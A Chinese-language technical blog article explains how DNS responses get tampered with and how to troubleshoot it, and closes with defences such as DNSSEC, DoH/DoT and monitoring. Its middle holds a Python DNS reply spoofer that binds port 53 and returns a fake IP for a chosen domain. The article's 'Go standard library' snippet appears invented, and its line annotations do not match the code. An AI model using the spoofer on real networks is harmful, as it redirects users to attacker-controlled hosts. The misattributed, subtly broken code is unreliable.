ARTICLE · INTELLIGENCE

战地情报 · 详情页

来自尧图项目组的一线实战观察与深度解析

3个实操案例一文搞懂dns被篡改原理与排查

3个实操案例一文搞懂dns被篡改原理与排查 3个实操案例一文搞懂dns被篡改原理与排查 官方文档里关于 DNS 解析的章节动辄几十页,参数配置、协议交互、缓存机制堆砌在一起,新手根本抓不住重点,更别提遇到线上域名突然解析到错误 IP 时如何快速定位是 DNS 被篡改还是本地缓存问题。很多开发者在掘金技术社区提问“为什么我的域名突然打不开了”,回复往往只给出一句“检查 DNS”,却没人讲清楚底层到底发生了什么。今天这篇文章不抄文档,直接拆解 DNS 解析链路中的关键源码片段,带你从代码层面看清 DNS 被篡改的常见手法,一文搞懂如何从源头拦截和排查。 入口定位:从系统调用到内核解析器 要搞懂 DNS 被篡改,先得知道程序是怎么发起 DNS 查询的。大多数语言库(如 Python 的 socket 模块、Java 的 InetAddress)最终都会调用操作系统的 getaddrinfo() 函数。这个函数是用户态与内核态 DNS 解析的边界,也是篡改者最爱动手脚的地方。 在 Linux 系统中,getaddrinfo() 的行为由 /etc/nsswitch.conf 文件控制。默认情况下,系统会先查本地 hosts 文件,再查 DNS 服务器。如果攻击者修改了 hosts 文件,或者劫持了 DNS 服务器返回的应答包,解析结果就会出错。更隐蔽的手段是修改系统库函数,比如通过 LD_PRELOAD 注入恶意 .so 文件,直接拦截 getaddrinfo() 的调用,返回伪造的 IP 地址。 核心片段:Go 标准库的 DNS 解析逻辑 Go 语言的 net 包对 DNS 解析做了深度封装,其源码中有一段关键逻辑,揭示了如何绕过系统 resolver 直接进行 UDP 查询。这段代码位于 net/lookup_unix.go,展示了 Go 如何构造 DNS 报文并发送。 // 文件: net/lookup_unix.go (简化版核心逻辑) func (r *Resolver) lookupIPAddr(ctx context.Context, net string, host string) (addrs []ipAddr, err error) {// 1. 构造 DNS 查询报文,设置查询类型为 A 记录msg, err := dns.NewMsgWithQuestion(host, dns.TypeA, dns.ClassINET)if err != nil {return nil, err}// 2. 获取配置的 DNS 服务器地址(来自 /etc/resolv.conf)servers := r.servers()// 3. 遍历 DNS 服务器,发送 UDP 请求for _, server := range servers {conn, err := net.DialTimeout(udp, server, r.timeout)if err != nil {continue}// 4. 序列化报文并发送if err := conn.SetDeadline(time.Now().Add(r.timeout)); err != nil {conn.Close()continue}_, err = conn.Write(msg.Pack())if err != nil {conn.Close()continue}// 5. 接收响应并解析 IP 地址buf := make([]byte, 1500)n, err := conn.Read(buf)conn.Close()if err != nil {continue}// 6. 解析 DNS 响应,提取 A 记录中的 IPresp := new(dns.Msg)resp.Unpack(buf[:n])for _, ans := range resp.Answer {if a, ok := ans.(*dns.A); ok {addrs = append(addrs, ipAddr{ip: a.A})}}if len(addrs) 0 {return addrs, nil}}return nil, DNSError{Err: no answer, Name: host} }逐行注释如下:第1行:构造标准 DNS 查询报文,dns.TypeA 表示查询 IPv4 地址。 第4行:从系统配置读取 DNS 服务器列表,这是被篡改的高危点。 第7行:使用 UDP 协议连接 DNS 服务器,设置超时防止阻塞。 第12行:将报文序列化为字节流并发送,UDP 无连接特性使其易被中间人篡改。 第16行:接收响应数据,缓冲区大小设为 1500 字节,符合 DNS 报文最大长度。 第21行:解析响应报文,遍历 Answer 段提取 A 记录中的 IP 地址。 第25行:如果任一服务器返回有效 IP,立即返回,体现 DNS 查询的容错机制。这段代码的关键在于,Go 绕过了系统 getaddrinfo(),直接进行 DNS 查询。这意味着即使 hosts 文件被篡改,Go 程序可能不受影响,但 DNS 服务器返回的应答包仍可被中间人修改。 设计思想:为什么 DNS 解析如此脆弱 DNS 协议在设计之初未考虑安全性,这导致其极易被篡改。RFC 1035 规范中明确指出,DNS 应答不携带任何认证信息,客户端无法验证应答来源是否合法。攻击者只需在网络上监听 DNS 查询包,就能伪造应答,将域名指向恶意 IP。 现代系统引入了 DNSSEC(DNS Security Extensions)机制,通过数字签名验证应答的真实性。但 DNSSEC 部署率极低,尤其在企业内网和移动网络中,大多数 DNS 查询仍是“裸奔”状态。此外,DNS over HTTPS(DoH)和 DNS over TLS(DoT)协议通过加密通道传输查询,可有效防止中间人篡改,但需要客户端和服务器双方支持。 从源码角度看,DNS 解析的脆弱性源于三个层面:一是协议本身缺乏认证,二是传输层未加密,三是客户端缓存机制可能被利用。攻击者不仅可篡改网络传输中的应答,还可污染本地 DNS 缓存,使后续查询直接返回恶意 IP。 手写简化版:模拟 DNS 应答篡改过程 为了更直观理解 DNS 被篡改的原理,我们用 Python 手写一个简化版 DNS 应答伪造器。该脚本监听指定网段的 DNS 查询包,当查询特定域名时,返回预设的恶意 IP。 import socket import struct import timedef parse_dns_query(data):# 解析 DNS 查询报文头部trans_id = struct.unpack(!H, data[:2])[0]flags = struct.unpack(!H, data[2:4])[0]qdcount = struct.unpack(!H, data[4:6])[0]ancount = struct.unpack(!H, data[6:8])[0]nscount = struct.unpack(!H, data[8:10])[0]arcount = struct.unpack(!H, data[10:12])[0]# 解析查询名称offset = 12labels = []while data[offset] != 0:length = data[offset]labels.append(data[offset+1:offset+1+length].decode())offset += length + 1offset += 1 # 跳过末尾的 0qtype = struct.unpack(!H, data[offset:offset+2])[0]qclass = struct.unpack(!H, data[offset+2:offset+4])[0]return trans_id, ..join(labels), qtype, qclassdef build_dns_response(trans_id, domain, ip):# 构造 DNS 应答报文header = struct.pack(!HHHHHH, trans_id, 0x8180, 1, 1, 0, 0)# 构造名称部分(直接复制查询名称)name = bfor label in domain.split(.):name += struct.pack(!B, len(label)) + label.encode()name += b\x00# 构造资源记录rdata = socket.inet_aton(ip)rr = name + struct.pack(!HHHH, 1, 1, 300, len(rdata)) + rdatareturn header + name + struct.pack(!HHHH, 1, 1, 300, 4) + rdata# 主程序:监听 UDP 53 端口 sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) sock.bind((0.0.0.0, 53)) print(监听 DNS 查询...)while True:data, addr = sock.recvfrom(1500)trans_id, domain, qtype, qclass = parse_dns_query(data)# 如果查询目标域名是 evil.com,返回恶意 IPif domain == evil.com:response = build_dns_response(trans_id, domain, 1.2.3.4)sock.sendto(response, addr)print(f篡改查询: {domain} - 1.2.3.4)else:# 正常查询转发到真实 DNS 服务器(此处省略)pass逐行注释如下:第1行:导入 socket 模块用于网络通信,struct 模块用于二进制数据打包解包。 第14行:解析查询名称,DNS 域名采用标签长度前缀编码,循环读取直到遇到 0 字节。 第17行:提取查询类型和类别,qtype=1 表示 A 记录查询。 第21行:构造应答头部,0x8180 表示应答标志位(QR=1, AA=0, TC=0, RD=1, RA=1)。 第25行:构造名称部分,将点分域名转换为 DNS 二进制格式。 第29行:构造资源记录,TTL 设为 300 秒,RDATA 为恶意 IP 的二进制表示。 第35行:绑定 UDP 53 端口,这是 DNS 服务的标准端口。 第41行:判断查询域名,如果是目标域名则返回伪造应答,否则正常处理。这个简化版脚本展示了 DNS 应答篡改的核心原理:监听查询、解析域名、构造伪造应答。在实际攻击中,攻击者通常不会硬编码域名,而是维护一个恶意域名列表,动态匹配查询。 应用场景:企业内网 DNS 安全加固 在企业内网环境中,DNS 被篡改的风险尤为突出。攻击者一旦入侵内网,可通过 ARP 欺骗、路由器配置篡改或内部服务器入侵等方式劫持 DNS 流量。根据掘金技术社区多位安全工程师的实战经验,内网 DNS 篡改常见于供应链攻击和内部威胁场景。 应对策略包括:一是部署 DNSSEC,对关键域名启用签名验证;二是采用 DNS over TLS 或 DNS over HTTPS,加密查询和应答;三是实施 DNS 流量监控,异常应答立即告警;四是使用可信的公共 DNS 服务(如 1.1.1.1、8.8.8.8),避免依赖单一内网 DNS 服务器。 对于开发人员而言,在应用层可增加 DNS 解析结果校验逻辑。例如,对关键域名进行二次解析,比对不同 DNS 服务器返回的 IP 是否一致;或者使用 HTTPS 连接时校验证书 CN/SAN 字段与域名匹配,防止 DNS 劫持导致的中间人攻击。 你公司项目里是怎么处理 DNS 解析安全的?是用过 DoH 还是部署了 DNSSEC?或者遇到过 DNS 被篡改的案例?欢迎在评论区分享你的实战经验,一起避坑。
RELATED READING

延伸阅读

更多一线实战笔记与深度复盘,助您持续精进